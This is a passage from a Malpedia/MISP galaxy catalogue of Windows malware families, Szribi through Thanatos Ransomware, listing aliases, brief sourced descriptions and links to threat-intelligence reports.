https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

https://www.logpoint.com/en/blog/emerging-threat/defending-against-8base/

https://asec.ahnlab.com/en/33600/

https://thedfirreport.com/2025/01/27/cobalt-strike-and-a-pair-of-socks-lead-to-lockbit-ransomware/

https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/

https://www.europol.europa.eu/media-press/newsroom/news/largest-ever-operation-against-botnets-hits-dropper-malware-ecosystem

https://www.kroll.com/en/insights/publications/cyber/inside-the-systembc-malware-server

https://www.reliaquest.com/blog/gootloader-infection-credential-access/

https://www.bitsight.com/blog/emotet-botnet-rises-again

https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c

https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis

https://www.mandiant.com/resources/chasing-avaddon-ransomware

https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware

https://cyber.wtf/2023/02/09/defeating-vmprotects-latest-tricks/

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf

https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html

https://www.rapid7.com/blog/post/2024/08/12/ongoing-social-engineering-campaign-refreshes-payloads/

https://securelist.com/focus-on-droxidat-systembc/110302/

https://www.youtube.com/watch?v=6Ljl1Rnl1jM

https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/

https://services.google.com/fh/files/misc/m-trends-2025-en.pdf

https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html

https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/

https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits

https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes

https://news.sophos.com/en-us/2020/12/16/systembc/

https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight

https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/

https://docs.velociraptor.app/exchange/artifacts/pages/systembc/

https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-batloader

https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/

https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/
https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Sood-Compromising-the-Keys-to-the-Kingdom.pdf
https://community.riskiq.com/article/47766fbd
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://thedfirreport.com/2024/08/26/blacksuit-ransomware/
https://blog.lumen.com/systembc-bringing-the-noise/
https://arcticwolf.com/resources/blog/greedy-sponge-targets-mexico-with-allakore-rat-and-systembc/
https://www.cisa.gov/uscert/ncas/alerts/aa22-249a
https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis
https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders
https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/
https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.crowdstrike.com/blog/hypervisor-jackpotting-lack-of-antivirus-support-opens-the-door-to-adversaries/
https://web.archive.org/web/20230209123148/https://www.cybereason.com/hubfs/THREAT%20ALERT%20GootLoader%20-%20Large%20payload%20leading%20to%20compromise%20(BLOG).pdf
https://github.com/vc0RExor/Malware-Threat-Reports/blob/main/The%20Swiss%20Knife%20-%20SystemBC%20%7C%20Coroxy/The%20Swiss%20Knife-SystemBC_EN.pdf

Szribi

The tag is: *misp-galaxy:malpedia="Szribi"*

Szribi is also known as:

- Srizbi

Table 5298. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi
https://www.fireeye.com/blog/threat-research/2008/11/technical-details-of-srizbis-domain-generation-algorithm.html
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://www.secureworks.com/research/srizbi
https://www.virusbulletin.com/virusbulletin/2007/11/spam-kernel

T34loader

The tag is: *misp-galaxy:malpedia="T34loader"*

T34loader is also known as:

Table 5299. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.t34loader
https://urlhaus.abuse.ch/browse/tag/T34loader/

TabMsgSQL

The tag is: *misp-galaxy:malpedia="TabMsgSQL"*

TabMsgSQL is also known as:

Table 5300. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tabmsgsql
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

taidoor

The tag is: *misp-galaxy:malpedia="taidoor"*

taidoor is also known as:

- simbot

Table 5301. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taidoor

https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf
https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf
http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html
https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1
https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf

TAINTEDSCRIBE

The tag is: *misp-galaxy:malpedia="TAINTEDSCRIBE"*

TAINTEDSCRIBE is also known as:

Table 5302. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe
https://blog.reversinglabs.com/blog/hidden-cobra
https://www.us-cert.gov/ncas/analysis-reports/ar20-133b

Taleret

The tag is: *misp-galaxy:malpedia="Taleret"*

Taleret is also known as:

Table 5303. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret
https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html
http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html

TamperedChef

The tag is: *misp-galaxy:malpedia="TamperedChef"*

TamperedChef is also known as:

Table 5304. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tampered_chef
https://www.gdatasoftware.com/blog/2025/08/38257-appsuite-pdf-editor-backdoor-analysis
https://medium.com/@Mr.AnyThink/hunting-for-tamperedchef-infostealer-825dc94cee00
https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor
https://gbhackers.com/threat-actors-weaponize-pdf-editor-trojan/
https://www.trendmicro.com/en_us/research/25/i/evilai.html
https://www.gdatasoftware.com/blog/2025/08/38247-justaskjacky-ai-trojan-horse-comeback

Tandfuy

The tag is: *misp-galaxy:malpedia="Tandfuy"*

Tandfuy is also known as:

Table 5305. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tandfuy

Tapaoux

The tag is: *misp-galaxy:malpedia="Tapaoux"*

Tapaoux is also known as:

Table 5306. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tapaoux

TargetCompany

This ransomware uses a combination of different crypto algorithms (ChaCha20, AES-128, Curve25519). The activity of this malware is dated to mid-June 2021. The extension of the encrypted files are set to the compromised company: .<target_company> A decryptor was released on 2022-02-07 by AVAST

The tag is: *misp-galaxy:malpedia="TargetCompany"*

TargetCompany is also known as:

- Fargo
- Mallox
- Tohnichi

Table 5307. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/proton66-part-2-compromised-wordpress-pages-and-malware-campaigns/
https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html
https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/
https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html
https://unit42.paloaltonetworks.com/mallox-ransomware/
https://www.trendmicro.com/en_us/research/23/f/xollam-the-latest-face-of-targetcompany.html
https://asec.ahnlab.com/en/39152/
https://labs.k7computing.com/index.php/mallox-evading-amsi/
https://www.truesec.com/hub/blog/a-victim-of-mallox-ransomware-how-truesec-csirt-fought-back
https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/
https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/
https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/
https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/
https://www.sangfor.com/blog/cybersecurity/new-threat-mallox-ransomware

Tarsip

The tag is: *misp-galaxy:malpedia="Tarsip"*

Tarsip is also known as:

Table 5308. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tarsip
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Taurus Stealer

According to Zscaler, Taurus is a stealer that surfaced in June 2020. It is being developed by the author(s) that previously created Predator the Thief. The name overlaps partly with the StealerOne / Terra* family (also aliased Taurus Loader) but appears to be a completely disjunct project.

The tag is: *misp-galaxy:malpedia="Taurus Stealer"*

Taurus Stealer is also known as:

Table 5309. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer
https://blog.minerva-labs.com/taurus-stealers-evolution
https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers
https://www.aon.com/cyber-solutions/aon_cyber_labs/agentvx-and-taurus/
https://www.secureworks.com/research/the-growing-threat-from-infostealers
https://outpost24.com/blog/an-in-depth-analysis-of-the-new-taurus-stealer/
https://www.zscaler.com/blogs/research/taurus-new-stealer-town
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/an-in-depth-analysis-of-the-new-taurus-stealer/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf

TClient

Steve Miller pointed out that it is proxy-aware (Tencent) for C&C communication and uses wolfSSL, which makes it stick out.

The tag is: *misp-galaxy:malpedia="TClient"*

TClient is also known as:

- FIRESHADOW

Table 5310. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tclient
https://twitter.com/stvemillertime/status/1266050369370677249

tDiscoverer

F-Secure described tDiscoverer (also known as HammerDuke) as interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a C&C communication channel. Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date. If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute.

The tag is: *misp-galaxy:malpedia="tDiscoverer"*

tDiscoverer is also known as:

- HAMMERTOSS
- HammerDuke

Table 5311. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://securityintelligence.com/hammertoss-what-me-worry/
https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58
https://www.youtube.com/watch?v=UE9suwyuic8

TDTESS

The tag is: *misp-galaxy:malpedia="TDTESS"*

TDTESS is also known as:

Table 5312. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tdtess
http://www.clearskysec.com/tulip/

TeamSpy

The tag is: *misp-galaxy:malpedia="TeamSpy"*

TeamSpy is also known as:

- TVRAT

- TVSPY
- TeamViewerENT

Table 5313. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy
https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent
https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging
https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer
https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/
https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk

TEARDROP

TEARDROP is a memory only dropper that runs as a service, spawns a thread and reads from the file “gracious_truth.jpg”, which likely has a fake JPG header. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. TEARDROP does not have code overlap with any previously seen malware. FireEye believe that this was used to execute a customized Cobalt Strike BEACON.

The tag is: *misp-galaxy:malpedia="TEARDROP"*

TEARDROP is also known as:

Table 5314. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop
https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate
https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf
https://www.mandiant.com/resources/unc2452-merged-into-apt29
https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack
https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://twitter.com/TheEnergyStory/status/1342041055563313152
https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline

https://unit42.paloaltonetworks.com/atoms/solarphoenix/
https://twitter.com/TheEnergyStory/status/1346096298311741440
https://www.brighttalk.com/webcast/7451/462719
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/
https://twitter.com/craiu/status/1339954817247158272
https://github.com/fireeye/sunburst_countermeasures
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware
https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader
https://www.youtube.com/watch?v=GfbxHy6xnbA
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714
https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/
https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf
https://www.youtube.com/watch?v=LA-XE5Jy2kU
https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/
https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://www.sans.org/webcasts/contrarian-view-solarwinds-119515

TefoSteal

The tag is: *misp-galaxy:malpedia="TefoSteal"*

TefoSteal is also known as:

Table 5315. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tefosteal
https://twitter.com/WDSecurity/status/1105990738993504256

TelAndExt

According to Check Point, this is a Telegram-focused infostealer (FTP / Delphi) used to target Iranian expats and dissidents.

The tag is: *misp-galaxy:malpedia="TelAndExt"*

TelAndExt is also known as:

Table 5316. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telandext
https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/

TelB

According to Check Point, this is a Telegram-focused infostealer (SOAP / Delphi) used to target Iranian expats and dissidents.

The tag is: *misp-galaxy:malpedia="TelB"*

TelB is also known as:

Table 5317. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telb
https://research.checkpoint.com/2020/rampant-kitten-an-iranian-espionage-campaign/

TeleBot

The tag is: *misp-galaxy:malpedia="TeleBot"*

TeleBot is also known as:

Table 5318. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/

https://www.secureworks.com/research/threat-profiles/iron-viking
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf
https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine
http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks

TeleDoor

The tag is: *misp-galaxy:malpedia="TeleDoor"*

TeleDoor is also known as:

Table 5319. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor
http://blog.talosintelligence.com/2017/07/the-medoc-connection.html
https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/
https://www.secureworks.com/research/threat-profiles/iron-viking

TelegramGrabber

The tag is: *misp-galaxy:malpedia="TelegramGrabber"*

TelegramGrabber is also known as:

Table 5320. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telegram_grabber
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/old-cat-new-tricks.html

Telemiris

The tag is: *misp-galaxy:malpedia="Telemiris"*

Telemiris is also known as:

Table 5321. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telemiris
https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/

Teleport

Cisco Talos reports that this is a data exfiltration tool used by TA505.

The tag is: *misp-galaxy:malpedia="Teleport"*

Teleport is also known as:

Table 5322. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/

TelePowerBot

The tag is: *misp-galaxy:malpedia="TelePowerBot"*

TelePowerBot is also known as:

Table 5323. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.telepowerbot
https://www.group-ib.com/media-center/press-releases/dark-pink-apt/
https://www.group-ib.com/blog/dark-pink-episode-2/

TellYouThePass

According to PCrisk, Tellyouthepass is one of many ransomware-type programs used to block access to files by encryption and keep them in this state unless a ransom is paid.

The program renames all encrypted files by adding the ".locked" extension and creates a ransom message in a text file called "README.html". For example, "1.jpg" is renamed by Tellyouthepass to "1.jpg.locked".

According to cyber criminals, this ransomware encrypts data using RSA-1024 and AES-256 cryptography algorithms.

The tag is: *misp-galaxy:malpedia="TellYouThePass"*

TellYouThePass is also known as:

Table 5324. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass

https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/

Tempedreve

The tag is: *misp-galaxy:malpedia="Tempedreve"*

Tempedreve is also known as:

Table 5325. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve

TEMPLEDOOR

The tag is: *misp-galaxy:malpedia="TEMPLEDOOR"*

TEMPLEDOOR is also known as:

Table 5326. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.templedoor
https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks

TempStealer

According to Cyble, this is a stealer targeting several crypto currency wallets along browser data.

The tag is: *misp-galaxy:malpedia="TempStealer"*

TempStealer is also known as:

Table 5327. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer
https://blog.cyble.com/2022/10/20/infostealer-distributed-using-bundled-installer/

Tendyron

The tag is: *misp-galaxy:malpedia="Tendyron"*

Tendyron is also known as:

Table 5328. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tendyron_dropper
https://github.com/eset/malware-ioc/blob/master/ta410/ta410.yar
https://www.botconf.eu/wp-content/uploads/formidable/2/Botconf2022-19-FaouCoteCyr.pdf

Terminator RAT

The tag is: *misp-galaxy:malpedia="Terminator RAT"*

Terminator RAT is also known as:

- Fakem RAT

Table 5329. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat
https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf
http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html
https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf
https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf

Termite

The tag is: *misp-galaxy:malpedia="Termite"*

Termite is also known as:

Table 5330. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.termite
https://www.mandiant.com/resources/evolution-of-fin7
https://www.alienvault.com/blogs/labs-research/internet-of-termites
https://threatrecon.nshc.net/2019/03/19/sectorm04-targeting-singapore-custom-malware-analysis/

Terralogger

TerraLogger is a standalone keylogger malware developed by Golden Chickens, a financially motivated threat actor. It uses a common low-level keyboard hook to record keystrokes and writes the logs to local files. The malware is typically delivered as an OCX file and employs initial execution checks before proceeding. Upon execution, it opens a file handle to log keystrokes and implements its keylogger using a SetWindowsHookExA hook. Keystrokes are written to the open log

file, with special characters handled accordingly. Five distinct TerraLogger samples were identified, reflecting minor updates and active development.

The tag is: *misp-galaxy:malpedia="Terralogger"*

Terralogger is also known as:

Table 5331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terralogger
https://www.recordedfuture.com/research/terrastealerv2-and-terralogger

TerraPreter

The tag is: *misp-galaxy:malpedia="TerraPreter"*

TerraPreter is also known as:

Table 5332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terrapreter
https://www.esentire.com/web-native-pages/unmasking-venom-spider
https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

TerraLoader

The tag is: *misp-galaxy:malpedia="TerraLoader"*

TerraLoader is also known as:

Table 5333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_loader
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/
https://www.esentire.com/web-native-pages/unmasking-venom-spider
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/Terraloader/2021-03-25/Analysis.md#terraloader—congrats-you-have-a-new-fake-job-
https://www.esentire.com/blog/hackers-spearphish-corporate-hiring-managers-with-poisoned-resumes-infecting-them-with-the-more-eggs-malware
https://medium.com/walmartglobaltech/a-re-look-at-the-terraloader-dropper-dll-e5947ad6e244

https://www.esentire.com/security-advisories/hackers-spearphish-professionals-on-linkedin-with-fake-job-offers-infecting-them-with-malware-warns-esentire

TerraRecon

According to QuoINT TerraRecon is a reconnaissance tool, looking for a specific piece of hardware and software targeting retail and payment services sectors. Attributed to Golden Chickens.

The tag is: *misp-galaxy:malpedia="TerraRecon"*

TerraRecon is also known as:

- Taurus Loader Reconnaissance Module

Table 5334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_recon
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9

TerraStealer

According to QuoINT, TerraStealer (also known as SONE or StealerOne) is a generic reconnaissance tool, targeting for example email clients, web browsers, and file transfer utilities. Attributed to Golden Chickens.

The tag is: *misp-galaxy:malpedia="TerraStealer"*

TerraStealer is also known as:

- SONE
- StealerOne
- Taurus Loader Stealer Module

Table 5335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_stealer
https://go.recordedfuture.com/hubfs/reports/cta-2025-0501.pdf
https://twitter.com/3xp0rtblog/status/1275746149719252992
https://www.recordedfuture.com/research/terrastealerv2-and-terralogger
https://github.com/eset/malware-ioc/tree/master/evilnum
https://quointelligence.eu/2020/07/golden-chickens-evolution-of-the-maas/

https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

TerraTV

TerraTV is a custom DLL designed to hijack legit TeamViewer applications. It was discovered and documented by QuoINT. It has been attributed to Golden Chickens malware as a service group.

The tag is: *misp-galaxy:malpedia="TerraTV"*

TerraTV is also known as:

- Taurus Loader TeamViewer Module

Table 5336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.terra_tv
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://blog.minerva-labs.com/taurus-user-guided-infection
https://medium.com/@quoscient/the-chicken-keeps-laying-new-eggs-uncovering-new-gc-maas-tools-used-by-top-tier-threat-actors-531d80a6b4e9
https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/

TeslaCrypt

According to Kaspersky, detected in February 2015, the new ransomware Trojan gained immediate notoriety as a menace to computer gamers. Amongst other types of target files, it tries to infect typical gaming files: game saves, user profiles, recoded replays etc. That said, TeslaCrypt does not encrypt files that are larger than 268 MB. Recently,

The tag is: *misp-galaxy:malpedia="TeslaCrypt"*

TeslaCrypt is also known as:

- cryptesla

Table 5337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.teslacrypt
https://blog.malwarebytes.com/threat-analysis/2016/03/teslacrypt-spam-campaign-unpaid-issue/
https://securelist.com/teslacrypt-2-0-disguised-as-cryptowall/71371/

https://blog.checkpoint.com/wp-content/uploads/2016/05/Tesla-crypt-whitepaper_V3.pdf
https://www.endgame.com/blog/technical-blog/your-package-has-been-successfully-encrypted-teslacrypt-41a-and-malware-attack
https://success.trendmicro.com/solution/1113900-emerging-threat-on-ransom-cryptesla
https://researchcenter.paloaltonetworks.com/2015/10/latest-teslacrypt-ransomware-borrows-code-from-carberp-trojan/
https://blogs.cisco.com/security/talos/teslacrypt
https://blog.christophetd.fr/malware-analysis-lab-with-virtualbox-inetsim-and-burp/
https://community.riskiq.com/article/30f22a00
https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html
https://www.welivesecurity.com/2015/12/16/nemucod-malware-spreads-ransomware-teslacrypt-around-world/

Tetra Loader

According to Cisco Talos, this is loader is written in Rust and was observed to stage Cobalt Strike Beacons and VShell.

The tag is: *misp-galaxy:malpedia="Tetra Loader"*

Tetra Loader is also known as:

Table 5338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tetra_loader
https://blog.talosintelligence.com/uat-6382-exploits-cityworks-vulnerability/

TFlower

TFlower is a new ransomware targeting mostly corporate networks discovered in August, 2019. It is reportedly installed on networks by attackers after they gain access via RDP. TFlower displays a console showing activity being performed by the ransomware when it encrypts a machine, further indicating that this ransomware is triggered by the attacker post compromise, similar to Samsam/Samas in terms of TTP. Once encryption is started, the ransomware will conduct a status report to an apparently hard-coded C2. Shadow copies are deleted and the Windows 10 repair environment is disabled by this ransomware. This malware also will terminate any running Outlook.exe process so that the mail files can be encrypted. This ransomware does not add an extention to encrypted files, but prepends the marker "*tflower" and what may be the encrypted encryption key for the file to each affected file. Once encryption is completed, another status report is sent to the C2 server.

The tag is: *misp-galaxy:malpedia="TFlower"*

TFlower is also known as:

Table 5339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.tflower
https://cyber.gc.ca/en/alerts/tflower-ransomware-campaign
https://www.bleepingcomputer.com/news/security/tflower-ransomware-the-latest-attack-targeting-businesses/
https://www.sygnia.co/mata-framework

Thanatos

The tag is: *misp-galaxy:malpedia="Thanatos"*

Thanatos is also known as:

- Alphabot

Table 5340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos
https://www.proofpoint.com//us/threat-insight/post/Death-Comes-Calling-Thanatos-Alphabot-Trojan-Hits-Market

Thanatos Ransomware

The tag is: *misp-galaxy:malpedia="Thanatos Ransomware"*

Thanatos Ransomware is also known as:

Table 5341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom
https://www.bleepingcomputer.com/news/security/thanatos-ransomware-is-first-to-use-bitcoin-cash-messes-up-encryption/
